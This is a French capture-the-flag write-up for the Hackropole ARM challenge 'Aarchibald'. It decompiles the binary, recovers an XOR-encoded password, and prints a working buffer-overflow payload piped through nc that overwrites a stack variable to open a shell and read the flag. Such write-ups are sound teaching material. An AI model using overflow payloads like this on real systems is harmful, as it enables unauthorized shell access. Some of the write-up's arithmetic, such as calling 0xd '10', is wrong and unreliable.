Solution de tacorabane pour Aarchibald

pwn ARM

6 décembre 2023

Introduction

Nous voilà dans un challenge de reverse.

Commencez par télécharger les deux fichiers que les équipe Hackropole nous ont fournit. Merci de nous nourrir Hackropole ! :D

Analyse du fichier

Comme dans tous les challenges de reverse, nous allons analyser le fichier.

file aarchibald
aarchibald: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=d8483190f176c46874dd383c62e36ee970712b09, not stripped

Vous devez être habituer à ce résultat de retour. Nous n’allons pas nous y attarder.

Execution

Lançons l’exécution du fichier pour analyser les messages banière et d’erreur.

sudo chmod +x aarchibald
./aarchibald
bash: ./aarchibald : impossible d'exécuter le fichier binaire : Erreur de format pour exec()

Hmm… Pas de bol, nous avons une erreur. Il semble que notre shell ne parvient pas à exécuter le programme.

Passons au reverse alors.

Reverse engineering

Dans mon writeup, je vais utiliser l’outil de reverse gHidra mais vous pouvez utiliser n’importe quel outil avec lequel vous êtes le plus confortable.

Démarrons la décompilation du programme.

undefined8 main(void)
{
  int iVar1;
  byte local_28 [36];
  int local_4;
  
  local_4 = 0x45435343;
  puts("Please enter your password:");
  fflush((FILE *)0x0);
  fgets((char *)local_28,0x28,_stdin);
  len = 0xd;
  for (i = 0; i < 0xd; i = i + 1) {
    local_28[i] = local_28[i] ^ 0x36;
  }
  iVar1 = strncmp((char *)local_28,"eCfSDFwEeAYDr",0xd);
  if (iVar1 == 0) {
    puts("Welcome back!");
    fflush((FILE *)0x0);
    if (local_4 != 0x45435343) {
      puts("Entering debug mode");
      fflush((FILE *)0x0);
      system("/bin/dash");
    }
  }
  else {
    puts("Sorry, that\'s not the correct password.");
    puts("Bye.");
    fflush((FILE *)0x0);
  }
  return 0;
}

La vue ci-dessus est le code évalué par Ghidra de la fonction main du programme.

Analyse

Nous allons démarrer l’anayse du code.

N.B: Pour ne perdre personne, je vais implémenter et améliorer un code C en fonction de nos trouvailles dans le code décompilé.

else {
    puts("Sorry, that\'s not the correct password.");
    puts("Bye.");
    fflush((FILE *)0x0);
}

Cette partie est exécutée si nous ne passons pas le bon mot de passe.

if (iVar1 == 0) {
    puts("Welcome back!");
    fflush((FILE *)0x0);
    if (local_4 != 0x45435343) {
      puts("Entering debug mode");
      fflush((FILE *)0x0);
      system("/bin/dash");
    }
}

Et cette partie est exécutée si le mot de passe est correctement saisie.

int iVar1;
byte local_28 [36];
int local_4;

local_4 = 0x45435343;
puts("Please enter your password:");
fflush((FILE *)0x0);
fgets((char *)local_28,0x28,_stdin);
len = 0xd;
for (i = 0; i < 0xd; i = i + 1) {
    local_28[i] = local_28[i] ^ 0x36;
}
iVar1 = strncmp((char *)local_28,"eCfSDFwEeAYDr",0xd);

Concentrons-nous sur la première partie du code.

int iVar1; n’est qu’une instanciation de variable. Nous supposons donc qu’elle sera utilisée plus tard et nous connaissons son type.

byte local_28 [36]; de part l’expérience, nous comprenons vite que cette variable est un tableau de bytes généralement de type char en C.

int local_4; instanciation d’une variable de type entier (integer).

local_4 = 0x45435343; affectation de la valeur 0x45435343 dans local_4. Alors, vous pouvez convertir de l’hexadécimal en décimal, mais je vous prévient. Cela ne servira à rien. Vous verrez plus tard pourquoi.

puts("Please enter your password:"); fonction d’affichage de texte.

fflush((FILE *)0x0); fonction qui permet de vider le buffer.

fgets((char *)local_28,0x28,_stdin); fonction de saisie utilisateur. Référence ici.

len = 0xd; cette ligne est bizare car dans le code, nous n’avons pas d’instanciation de variable nommé len et elle est affectée de 0xd soit en décimal 10.

for (i = 0; i < 0xd; i = i + 1) {local_28[i] = local_28[i] ^ 0x36;} une boucle for qui intérragie avec local_28.

Bon démarrons un code approximatif de notre reverse.

##include <stdio.h>
##include <stdlib.h>

int main() {
    int a; // iVar1
    char str[36]; // local_28
    int b; // local_4
    int i;
    
    b = 0x45435343;
    puts("Please enter your password:");
    fflush(stdin);
    fgets(str, 40, stdin); // 0x28 = 40
    // len = 0xd n'est pas important selon moi
    for(i = 0; i < 10; i++) {
        str[i] = str[i] ^ 54; // ^ est un XOR logique
    }
    a = strncmp(str, "eCfSDFwEeAYDr", 10);
}

Voila le début de notre code approximatif. Terminons le avec le reste.

Je vous mets à disposition de la documentation qui est la clé de la réussite :

##include <stdio.h>
##include <stdlib.h>
##include <string.h>

int main() {
    int a; // iVar1
    char str[36]; // local_28
    int b; // local_4
    int i;
    
    b = 0x45435343;
    puts("Please enter your password:");
    fflush(stdin);
    fgets(str, 40, stdin); // 0x28 = 40
    // len = 0xd n'est pas important selon moi
    for(i = 0; i < 10; i++) {
        str[i] = str[i] ^ 54; // ^ est un XOR logique
    }
    a = strncmp(str, "eCfSDFwEeAYDr", 10);
    if(a == 0) { // résultat de strncmp
        puts("Welcome back!");
        fflush(stdin);
        if(b != 0x45435343) {
            puts("Entering debug mode");
            fflush(stdin);
            system("/bin/dash"); // voilà pourquoi l'exécution ne fonctionnait pas
        }
    }
    else {
        puts("Sorry, that\'s not the correct password.");
        puts("Bye.");
        fflush(stdin);
    }
    return 0;

Bon après tout ce travail nous pouvons comprendre ce que le programme attend en entrée.

Dans un premier temps, nous savons qu’il y a une comparaison a = strncmp(str, "eCfSDFwEeAYDr", 10);. Cette fonction va comparer les 10 premiers caractères de la variable str à la chaine eCfSDFwEeAYDr.

Nous devons donc contourner l’algorithme nous permettant de saisir le mot de passe qui permettra, une fois encoder, d’être equivalent à eCfSDFwEeAYDr.

Dans un second temps, attardons-nous sur l’algorithme de décodage.

for(i = 0; i < 10; i++) {
    str[i] = str[i] ^ 54; // ^ est un XOR logique
}

Comme nous l’avons vu, la boucle effectue un XOR sur les 10 premiers caractères de la chaine saisie par l’utilisateur. Et devinez quoi ! L’inverse d’un XOR c’est un XOR :D

Implémentons un code C pour retrouver la valeur de eCfSDFwEeAYDr décodé.

##include <stdio.h>

int main() {
    char* test = "eCfSDFwEeAYDr";
    int i;
    char res[13];
    
    for(i = 0; i < 13; i++) {
        res[i] = test[i] ^ 54;
    }
    
    printf("%s\n", res);
    return 0;
}

Une fois le mot de passe obtenu, allons l’insérer dans le programme

nc localhost 4000
Please enter your password:
SuPerpAsSworD
Welcome back!

Mince ! J’ai beau entrer des commandes il ne se passe rien.

En effet, nous avons oublié de bypass le la condition permettant d’accéder au shell du docker.

b = 0x45435343;
[...]
if(b != 0x45435343) {
    puts("Entering debug mode");
    fflush(stdin);
    system("/bin/dash");
}

Sacrément diablolique ce développeur ! Il a intentionnellement affecté à la variable b la valeur qui nous empêche de lancer le shell. Or il faut que b soit différent de cette valeur.

Buffer overflow

Mes amis, il est temps de casser le programme. Cependant, nous allons expliquer ce qui nous mènent au buffer overflow.

Le buffer overflow, comme son nom l’indique, est une technique d’innondation du tampon mémoire. Lorsque les développeurs ne sécurisent pas les saisies utilisateur, ils laissent les fonctions de saisie sans taille maximum autorisée. Ce manque de sécurité permet de dépasser ce tampon mémoire.

Dans notre cas, nous voulons utiliser cette technique pour modifier le contenu de la variable b. Mais, comment ça marche Jamy ?

Tout d’abord, il faut savoir qu’en programmation, tout est mémoire :D

En somme, toutes les lignes sont un ou plusieurs blocs mémoires contigue.

Je vais vous schématiser simplement mon propos. Les adresses ne seront pas correctes et les allocations non plus mais c’est pour schématiser.

-------
| str | -> 0x01 à 0x0F
-------
-------
|  b  | -> 0x10 à 0x42
-------
[...]

Comme vous le voyez, l’adresse de fin de la variable str est juxtaposée à l’adresse de début de la variable b.

Donc si nous dépassons de 1 octet la mémoire de str tout ce que nous avons saisie se retrouvera dans la variable b.

Bypass

Nous allons donc prévoir notre technique d’exploitation. Nous savons que la variable str est allouée à 36 octets (taille d’un caractère). Donc il va falloir entrer le mot de passe qui est de longueur de 13 puis injecter le reste de n’importe quoi.

41 - 13 = 28. Alors injectons !

$ python3 -c 'print("SuPerpAsSworD"+"A"*28)' | nc localhost 4000
Welcome back!
Entering debug mode

YES !!!! Ahah ! Alors les devs, toujours récalcitrant sur la sécurité du code ?!

Trêve de plaisanterie. Il ne vous reste plus qu’à exécuter les commandes de base pour récupérer le flag.

$ python3 -c 'print("SuPerpAsSworD"+"A"*28)' | nc localhost 4000
Welcome back!
Entering debug mode
ls
aarchibald
flag
run.sh
cat flag
ECSC{32fb7ccc57121703b0a9a401e269e774c561b2bc}